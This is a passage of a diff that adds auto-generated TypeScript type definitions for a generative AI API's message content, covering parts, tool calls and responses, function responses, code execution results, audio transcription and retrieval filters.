+ /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCall94A21767 + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type ContentCe81Ce46 = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part37Dfc3Bc[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfoBcf6B6F1 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscriptionBf835Fe7 = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfoBcf6B6F1[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const codeExecutionResult736828EfOutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResult736828EfOutcomeEnumKey = + (typeof codeExecutionResult736828EfOutcomeEnum)[keyof typeof codeExecutionResult736828EfOutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResult736828Ef = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResult736828EfOutcomeEnumKey +} + +export const conditionOperationEnum = { + OPERATOR_UNSPECIFIED: 'OPERATOR_UNSPECIFIED', + LESS: 'LESS', + LESS_EQUAL: 'LESS_EQUAL', + EQUAL: 'EQUAL', + GREATER_EQUAL: 'GREATER_EQUAL', + GREATER: 'GREATER', + NOT_EQUAL: 'NOT_EQUAL', + INCLUDES: 'INCLUDES', + EXCLUDES: 'EXCLUDES', +} as const + +export type ConditionOperationEnumKey = + (typeof conditionOperationEnum)[keyof typeof conditionOperationEnum] + +/** + * @description Filter condition applicable to a single key. + * @type object + */ +export type Condition = { + /** + * @description The numeric value to filter the metadata on. + * + * Format: `float` + * @type number | undefined + */ + numericValue?: number + /** + * @description Required. Operator applied to the given key-value pair to trigger the condition. + * @type string | undefined + */ + operation?: ConditionOperationEnumKey + /** + * @description The string value to filter the metadata on. + * @type string | undefined + */ + stringValue?: string +} + +export const toolResponseCe18B464ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponseCe18B464ToolTypeEnumKey = + (typeof toolResponseCe18B464ToolTypeEnum)[keyof typeof toolResponseCe18B464ToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponseCe18B464 = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponseCe18B464ToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCode1Ba463FcLanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCode1Ba463FcLanguageEnumKey = + (typeof executableCode1Ba463FcLanguageEnum)[keyof typeof executableCode1Ba463FcLanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCode1Ba463Fc = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCode1Ba463FcLanguageEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata6239D375 = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileDataA2634D8C = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob521D3705 = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePart8C610D57MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePart8C610D57MediaProcessingEnumKey = + (typeof functionResponsePart8C610D57MediaProcessingEnum)[keyof typeof functionResponsePart8C610D57MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePart8C610D57 = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileDataA2634D8C + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePart8C610D57MediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob521D3705 +} + +export const functionResponseAdaee5BaSchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponseAdaee5BaSchedulingEnumKey = + (typeof functionResponseAdaee5BaSchedulingEnum)[keyof typeof functionResponseAdaee5BaSchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponseAdaee5Ba = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePart8C610D57[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponseAdaee5BaSchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileData55B3820F = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +export const toolCall044F0Cc3ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCall044F0Cc3ToolTypeEnumKey = + (typeof toolCall044F0Cc3ToolTypeEnum)[keyof typeof toolCall044F0Cc3ToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCall044F0Cc3 = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCall044F0Cc3ToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part091E48E4MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part091E48E4MediaProcessingEnumKey = + (typeof part091E48E4MediaProcessingEnum)[keyof typeof part091E48E4MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part091E48E4 = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponseCe18B464 + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscriptionBf835Fe7 + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCode1Ba463Fc + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResult736828Ef + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata6239D375 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part091E48E4MediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponseAdaee5Ba + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileData55B3820F + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCall044F0Cc3 + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type ContentDee4A0Aa = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part091E48E4[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +/** + * @description Passage included inline with a grounding configuration. + * @type object + */ +export type GroundingPassage = { + /** + * @description Identifier for the passage for attributing this passage in grounded answers. + * @type string | undefined + */ + id?: string + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentDee4A0Aa +} + +/** + * @description A repeated list of passages. + * @type object + */ +export type GroundingPassages = { + /** + * @description List of passages. + * @type array | undefined + */ + passages?: GroundingPassage[] +} + +/** + * @description User provided filter to limit retrieval based on `Chunk` or `Document` level metadata values. Example (genre = drama OR genre = action): key = "document.custom_metadata.genre" conditions = [{string_value = "drama", operation = EQUAL}, {string_value = "action", operation = EQUAL}] + * @type object + */ +export type MetadataFilter = { + /** + * @description Required. The key of the metadata to filter on. + * @type string | undefined + */ + key?: string + /** + * @description Required. The `Condition`s for the given key that will trigger this filter. Multiple `Condition`s are joined by logical ORs. + * @type array | undefined + */ + conditions?: Condition[] +} + +/** + * @description Configuration for retrieving grounding content from a `Corpus` or `Document` created using the Semantic Retriever API. + * @type object + */ +export type SemanticRetrieverConfig = { + /** + * @description Optional. Minimum relevance score for retrieved relevant `Chunk`s. + * + * Format: `float` + * @type number | undefined + */ + minimumRelevanceScore?: number + /** + * @description Optional. Filters for selecting `Document`s and/or `Chunk`s from the resource. + * @type array | undefined + */ + metadataFilters?: MetadataFilter[] + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + query?: ContentDee4A0Aa + /** + * @description Optional. Maximum number of relevant `Chunk`s to retrieve. + * + * Format: `int32` + * @type integer | undefined + */ + maxChunksCount?: number + /** + * @description Required. Name of the resource for retrieval. Example: `corpora/123` or `corpora/123/documents/abc`. + * @type string | undefined + */ + source?: string +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfoC43D4382 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscription09D501A0 = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfoC43D4382[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const toolResponse38C31F8DToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponse38C31F8DToolTypeEnumKey = + (typeof toolResponse38C31F8DToolTypeEnum)[keyof typeof toolResponse38C31F8DToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponse38C31F8D = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponse38C31F8DToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCodeCe987E95LanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCodeCe987E95LanguageEnumKey = + (typeof executableCodeCe987E95LanguageEnum)[keyof typeof executableCodeCe987E95LanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCodeCe987E95 = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCodeCe987E95LanguageEnumKey +} + +export const codeExecutionResult5730D338OutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResult5730D338OutcomeEnumKey = + (typeof codeExecutionResult5730D338OutcomeEnum)[keyof typeof codeExecutionResult5730D338OutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResult5730D338 = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResult5730D338OutcomeEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata51E07C1E = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileDataAc2Ac965 = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob6F143Aee = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePart3E9Eb690MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePart3E9Eb690MediaProcessingEnumKey = + (typeof functionResponsePart3E9Eb690MediaProcessingEnum)[keyof typeof functionResponsePart3E9Eb690MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePart3E9Eb690 = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileDataAc2Ac965 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePart3E9Eb690MediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob6F143Aee +} + +export const functionResponse1Fedeb53SchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponse1Fedeb53SchedulingEnumKey = + (typeof functionResponse1Fedeb53SchedulingEnum)[keyof typeof functionResponse1Fedeb53SchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponse1Fedeb53 = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePart3E9Eb690[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponse1Fedeb53SchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileData64903C98 = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +export const toolCall076E4354ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCall076E4354ToolTypeEnumKey = + (typeof toolCall076E4354ToolTypeEnum)[keyof typeof toolCall076E4354ToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCall076E4354 = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCall076E4354ToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part1879F10DMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part1879F10DMediaProcessingEnumKey = + (typeof part1879F10DMediaProcessingEnum)[keyof typeof part1879F10DMediaProcessingEnum] + +/** + * @description A datatype containing media that is 